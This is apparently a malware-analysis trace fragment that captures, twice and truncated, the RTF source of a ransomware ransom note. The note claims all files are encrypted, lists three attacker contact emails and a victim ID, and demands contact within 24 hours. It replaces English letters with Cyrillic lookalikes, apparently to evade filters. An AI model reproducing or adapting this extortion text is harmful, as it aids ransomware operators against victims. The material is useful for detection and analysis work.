h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t 